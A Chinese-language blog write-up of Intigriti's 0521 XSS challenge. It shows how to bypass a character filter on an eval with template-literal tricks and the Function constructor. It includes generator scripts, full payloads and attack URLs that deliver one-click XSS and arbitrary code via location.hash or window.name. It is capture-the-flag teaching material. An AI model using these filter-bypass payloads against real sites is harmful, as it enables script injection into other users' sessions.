最近開了一個讀者回饋表單,無論是對文章的感想或是對部落格的感想,有什麼想回饋的都可以填表單跟我說:表單連結

Intigriti’s 0521 XSS 挑戰解法:限定字元組合程式碼

前言

Intigriti 是國外的一個 bug bounty 平台,每個月都會推出一個 XSS 挑戰,有大約一到兩週的時間可以去思考,目標是在特定網站上面執行 alert(document.domain),解出來之後把結果透過 Intigriti 平台回報,最後會隨機抽 3 個解掉的人得到他們自己商店的優惠券。

上個月的挑戰因為解出來的人不多,所以我有幸運抽到 50 歐元的優惠券,其實很划算,因為商店賣的東西其實都滿便宜的,我買了一件 t-shirt + 兩頂帽子再加國際運費,大概 45 歐元左右。

不過這種獎品就是靠運氣啦,還是解題好玩比較重要。

挑戰網址在這邊:https://challenge-0521.intigriti.io/

程式碼分析

解題的第一步就是分析一下它的程式碼,先了解一下這整個題目的運作為何。首頁這一頁看起來沒什麼東西,比較值得注意的只有一個網址是 ./captcha.php 的 iframe,直接來看看裡面是什麼:

<body>
    <form id="captcha">
        <div id="input-fields">
          <span id="a"></span>
          <span id="b">+</span>
          <input id="c" type="text" size="4" value="" required/>
          =
          <span id="d"></span>
          <progress id="e" value="0" max="100" style="display:none"></progress>
        </div>
          <input type="submit" id="f"/>
          <input type="button" onclick="setNewNumber()" value="Retry" id="g"/>
    </form>
</body>
<script>
    const a = document.querySelector("#a");
    const c = document.querySelector("#c");
    const b = document.querySelector("#b");
    const d = document.querySelector("#d");

    window.onload = function(){
      setNewNumber();
      document.getElementById("captcha").onsubmit = function(e){
          e.preventDefault();
          loadCalc(0);
      };
    }

    function loadCalc(pVal){
      document.getElementsByTagName("progress")[0].style.display = "block";
      document.getElementsByTagName("progress")[0].value = pVal;
      if(pVal == 100){
        calc();
      }
      else{
        window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
      }
    }

    function setNewNumber() {
            document.getElementsByTagName("progress")[0].style.display = "none";
        var dValue = Math.round(Math.random()*1000);
        d.innerText = dValue;
        a.innerText = Math.round(Math.random()* dValue);
    }

    function calc() {
        const operation = a.innerText + b.innerText + c.value;
        if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
            if (d.innerText == eval(operation)) {
              alert("🚫🤖 Congratulations, you're not a robot!");
            }
            else {
              alert("🤖 Sorry to break the news to you, but you are a robot!");
            }
            setNewNumber();
        }
        c.value = "";
    }

</script>

這邊有幾個 input,然後使用者按下送出時會把輸入的 c.value 丟到 eval 去執行,但有限定字元,不能使用:a-df-z<>()!\='",在英文字母裡面只有 e 是可以用的。

因此這題的目標就很明顯了,是要繞過這個字元的限制,然後透過那個 eval 幫我們執行 alert(document.domain)

全面啟動

(先寫在前面,這篇的程式碼你會看到有些 ` 是用全形,這是因為不這樣的話 markdown parser 會壞掉)

有關繞過字元限制,之前我有寫了一篇:如何不用英文字母與數字寫出 console.log(1)?,沒想到這次就派上用場了。

舉例來說,0/0 可以產生 NaN,所以 `${0/0}`[1] 就可以拿到字串 a。只要用類似的技巧,應該就可以產生出我們想要的所有字元。

但這題難的地方我覺得不在這,而是一開始在思考這題的時候腦袋容易打結,因為會分不太清楚什麼程式碼會直接被執行,什麼程式碼又不會。

舉例來說,就算費盡千辛萬苦拼出了目標字串好了,丟到 eval 去之後其實結果跟你想像中不太一樣,因為結構大概會像這樣:eval('"a"+"l"+"e"+"r"+"t"+"(1)"')

最後的結果會是字串:alert(1),而不是直接執行 alert(1),因為你在做的只是把想執行的程式碼拼出來,而 eval 只是幫你拼起來而已。那如果再把 eval 拼出來呢?

eval('"eval(a"+"l"+"e"+"r"+"t"+"(1))"'

這樣也是沒用的,也只會出現字串的 eval 而已。之所以這樣不行,是因為你拼的東西是字串中的字串。舉例來說,請看下面這兩段程式碼:

eval('alert(1)')
eval('"alert(1)"')

前者會跳出 alert,後者會輸出字串 alert。這就是因為後者是:「字串中的字串」。如果用字串拼接的方式,就一定會這樣。

所以如果需要執行程式碼的話,我們一定要有一些東西是不需要拼接的,在 JS 裡面可以把字串當作程式碼執行的有:

  1. eval
  2. function constructor
  3. setTimeout
  4. setInterval
  5. location

這裡面符合我們需求的,就是 function constructor 了!

為什麼這樣說呢?因為我們可以不直接透過字串存取到這個東西!先簡單講一下 function constructor,就是 Function() 這個東西,可以動態產生函式。

然後 Function 就是 Function.prototype.constructor,所以可以利用 prototype chain 加上陣列來存取到:[]['constructor']['constructor'] === Function // true

有了這個之後,就可以動態建立 function 並且執行了!

像這樣:[]['constructor']['constructor']('alert(1)')()

那為什麼這樣子放進 eval 之後就可以呢?因為 [] 並不是用字串組成的,所以放進 eval 會是這樣:eval("[]['constructor']['constructor']('alert(1)')()")

這樣一來,就可以在 eval 裡面透過 function constructor 去動態執行程式碼了,這就是這個章節的標題「全面啟動」的意思,一層還有一層。

不過除了要找出替代字串以外,還有一個問題,那就是函式呼叫不能使用 (),這該怎麼辦呢?

Tagged templates

有用過 React 中的 styled components 的話,對這個語法應該不陌生:

const Box = styled.div`
  background: red;
`

其實 styled.div 是一個 function,然後用反引號來呼叫 function。沒錯,反引號也是可以呼叫函式的,但要注意的是參數的傳遞會跟你想的不太一樣。

直接做個簡單示範就知道了:

function noop(...args) {
  console.log(args)
}

noop`1` // [["1"]]
noop`${'abc'}`// [["", ""], "abc"]
noop`1${'abc'}2` // [["1", "2"], "abc"]
noop`1${'a'}2${'b'}3${'c'}` // [["1", "2", "3", ""], "a", "b", "c"]

用反引號來呼叫函式的話,第一個參數會是一個陣列,裡面是所有一般的字串,隔開的標準是中間有 ${},而接下來第二個參數以後都是你放在 ${} 裡的內容。

更多範例可參考:[筆記] JavaScript ES6 中的模版字符串(template literals)和標籤模版(tagged template)

把我們上面的程式碼用反引號改寫會變這樣:

[]['constructor']['constructor']`${'alert(1)'}```

但這樣的話如果你丟去執行,會發現有錯。因為根據我們上面所說的,這樣寫的話傳去 function constructor 的參數會是:[""], 'alert(1)',第一個參數是一個含有空字串的陣列。

而 function constructor 除了最後一個參數之外,其他都會被當作要動態新增的函式的參數,例如說 Function('a', 'b', 'return a+b') 就是:

function (a, b) {
  return a+b
}

所以第一個參數給空字串是行不通的,加一個變數就行了,例如說題目允許的 e 或者是 _:

[]['constructor']['constructor']`_${'alert(1)'}```

// 產生出的函式
function anonymous(_,) {
  alert(1)
}

這樣就能順利執行程式碼了,因此最後剩下的就只有拼出 constructoralert(document.domain)

字串拼拼樂

除了我開頭提到的文章:如何不用英文字母與數字寫出 console.log(1)?之外,jsfuck 的程式碼也有很多可以參考的地方。

底下是我用的幾個:

1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"

我們可以從上面這些組合中,找到所有需要的字元。接下來只差最後兩個了,就是 (),我們必須也用拼的拼出這兩個字元才行。

這要怎麼拿到呢?在 JS 裡面把 function 變成字串的話,就會是整個 function 的內容,像這樣:

`${[]['constructor']}`
=> "function Array() { [native code] }"

可以透過這樣子拿到這裡面的 () 這兩個字元。

結合以上的技巧,我自己寫了一個簡單的小程式去產出最終的結果:

const mapping = {
  a: '`${0/0}`[1]',
  c: '`${``+{}}`[5]',
  d: '`${``[0]}`[2]',
  e: '`e`',
  i: '`${``[0]}`[5]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${``[0]}`[1]',
  o: '`${``+{}}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${``+{}}`[6]',
  u: '`${``[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'error:' + c).join('+')
}

const cons = getString('constructor')
mapping['('] = '`${[][' + cons + ']}`[14]'
mapping[')'] = '`${[][' + cons + ']}`[15]'

const ans = 
  "[][" + 
  getString('constructor') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log(ans)

output(長度 851):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}`` `

把上面這整串貼到網頁上的 input 然後按下提交,就會看到 alert 跳出來囉!

做到這邊之後我就很開心地去送答案,結果得到了一個回覆,跟我說這是 self-XSS,提示我說可以多往 php 那邊去研究一點。

沒錯,我都忘記這是一個 self-XSS 了,因為需要自己把這串 payload 貼在 input 上面送出,就有點像是使用者必須自己把惡意程式碼貼過來一樣,這種通常沒辦法構成具有嚴重性的漏洞。

因此我就往 PHP 那邊去看,隨便試了一下發現 c=xxx 的內容會直接反映在 c.value 上,所以只要把上面那一串放到網址上面去就好了,變成:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}``+`

這樣子使用者點了網址之後 payload 就會自動填好,只要按按鈕就可以觸發。於是我們把 self-XSS 變成了 one-click XSS,點個按鈕就會中招。

做到這邊其實就通過這題了,但因為還有時間,所以我還想再研究更多東西。

執行任意程式碼

只是執行固定的程式碼不太好玩,有沒有可能執行任意程式碼?像是這種任意程式碼執行通常都會透過幾個方法把程式碼帶進去,例如說:

  1. window.name
  2. iframe + top.name
  3. location.hash

這邊前兩者都需要自己再做另一個網頁,只有 location.hash 不需要,因此這邊就先以這個作法為主吧!

我們需要湊出的字串是:

[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}`` `

這樣只要讓網址最後面是:#alert(document.domain),就可以達成一樣的效果了。

新的字元組合,缺少的只有兩個:v 跟 h。

這兩個其實不太好找,因為比較好找的已經都被我們找完了。那還有哪裡可以找呢?

首先是 v 的部分,其實可以把原生的 function 變成 string,就能拿到 [native code] 這個字串。但是在 Chrome 上與 Firefox 上的輸出不太一樣,以 RegExp 為例,

Chrome 的輸出是:function RegExp() { [native code] }
Firefox 的輸出是:function RegExp() {\n [native code]\n}

Firefox 的輸出會換行而 Chrome 不會,這就造成了字元 index 的差異,所以沒辦法跨瀏覽器取得 v 這個字。不過我們先不管這個,先來看 h 好了。

h 一樣也是不容易取得,但如果我們能組出:17['toString']`36`,其實就能拿到 h。

因為上面的程式碼就是把 17 這個數字轉成 36 進位,這樣就可以拿到 h,因為 h 是第 8 個英文字母(9 個數字 + 第 8 個英文字母 = 17)。

那這個大寫的 S 怎麼拿呢?String constructor 可以拿到:

``['constructor'] + ''
// output
// "function String() { [native code] }"

而且一旦我們可以用 toString 的這個技巧,其實任何小寫英文字母都可以拿到了,當然也包含前面所說的 v。

詳細過程我就不示範了,把程式改一下就好,最後的結果是(1925 個字):

[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}`` `

網址則是:

https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`e`%2b31[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${e}`[21]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${0/0}`[1]%2b`${``%2b{}}`[6]%2b`${``[0]}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`.`%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[18]%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`.`%2b`${e}`[18]%2b`${e}`[21]%2b`${``[0]}`[5]%2b`${``%2b{}}`[5]%2b`e`%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b1%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}``+`#alert(document.domain)

挑戰最短程式碼

可以執行任意程式碼之後,還有什麼可以玩呢?那就是挑戰最短的程式碼!試著把程式碼弄到最短看看。

可以想到的有:

1.不要用 ``[0] 拿到 undefined,而是用 e[0],可以省一個字元
2. ``+{} 來拿 [object Object] 其實多此一舉,用 {} 就好,省了三個字
3. 有可以用到 e 的地方盡量用到 e,因為程式碼會最少

再來我們本來是用 []['constructor'] 來拿到 function,這樣有點太長了,可以用很科學的方式來找出最短的:

let min = 99
let winner = ''
for (let prop of Object.getOwnPropertyNames(Array.prototype)) {
  const len = getString(prop).length
  if (len < min) {
    min = len
    winner = prop
  }
}
console.log(winner, min)

找出來的冠軍是 some,可以拿來取代本來使用的 []['constructor']

最後呢,因為我們不需要執行任意程式碼了,所以用 alert(document.domain) 就好,至於 eval(name) 的話雖然乍看之下更短,但因為要拿到 v 不容易,所以其實會花費更多字元。

底下是產生出來的結果,長度 466 個字:

length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}``+`

用來產生的程式碼是:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

const cons = getString('constructor')
let strConstructor = '``['+ cons + ']'
strConstructor = '`${' + strConstructor + '}`'

const strToString = `${mapping.t}+${mapping.o}+${strConstructor}[9]+${mapping.t}+${mapping.r}+${mapping.i}+${mapping.n}+${mapping.g}`
mapping.v = '31[' + strToString + ']`36`'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('alert(document.domain)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

再次縮短

把上面的結果拿去平台上 submit 之後,作者說目前看到最短的是 376 個字元。我想了一陣子發現想不太到,然後就靈機一動想說:「那來試試看 v 那個方法好了,先不管瀏覽器問題」

幫大家回顧一下瀏覽器問題是什麼,那問題就是如果想用 function to string 的方式拿到 v,Chrome 跟 Firefox 產生的結果不同:

[]['some']+''

// Chrome
"function some() { [native code] }"
v: index 23

// Firefox
"function some() {
    [native code]
}"
v: index 27

所以同一個 payload 無法同時應用在這兩個網頁上面。

先不管這問題的話,產生出來的結果是這樣:

length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}`` `
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}`` `

376 個字,跟剛剛的 466 比起來少了快一百個。

用來產生的完整程式碼:

const mapping = {
  a: '`${0/0}`[1]',
  b: '`${e}`[2]',
  c: '`${e}`[5]',
  d: '`${e[0]}`[2]',
  e: '`e`',
  f: '`${e[0]}`[4]',
  g: '`${e}`[15]',
  i: '`${e[0]}`[5]',
  j: '`${e}`[3]',
  l: '`${e}`[21]',
  m: '`${e}`[23]',
  n: '`${e}`[25]',
  o: '`${e}`[1]',
  r: '`${e}`[13]',
  s: '`${e}`[18]',
  t: '`${e}`[6]',
  u: '`${e[0]}`[0]',
  ".": '`.`'
}

function getString(str) {
  return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}

const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'

mapping.v = '`${[][' + getString('some') + ']}`[23]'

const ans = 
  "[][" + 
  getString('some') + 
  "]["+
  getString('constructor') +
  "]`_${" + 
  getString('eval(name)') +
  "}```"

console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))

有些人可能不知道為什麼 eval(name) 可以,這是因為 window.name 是個神奇的屬性,基本上同一個分頁的 name 會相同,所以我們只要自己新建一個 html,裡面寫 JS 並且設定 window.name = 'alert(document.domain)',然後用 location= 跳轉到 PHP 那邊,那裡的 name 就會是我們剛剛設定好的。

沒錯,跨網域也適用。

因為我最後試出來的結果也是 376 個字,跟作者說的最短 payload 相同,詢問過後發現其實就是同一個。

結語

從這個挑戰中可以學到一些 JS 相關的東西,像是:

  1. 在限制之下湊出指定字元
  2. 用反引號 backtick 來呼叫函式以及參數的規則
  3. 用 function constructor 動態建立函式

這些知識在什麼時候會有用呢?對攻擊者而言,當你碰到一個有過濾字元的地方的時候,就可以利用這些技巧想辦法繞過限制。

對防禦方來說,在過濾時就需要考量到這些繞過的方法,如果知道可以這樣繞過,就能把 filter 訂得更精確。

不過這都只是後話,對我來說會解這些題目只是因為好玩,也沒有去想說會有什麼幫助,那些都是以後的事了。

這個平台每個月都會有 XSS 挑戰,期待之後的更多挑戰!

用 Paged.js 做出適合印成 PDF 的 HTML 網頁 解題心得:Intigriti's 0421 XSS challenge(上)

評論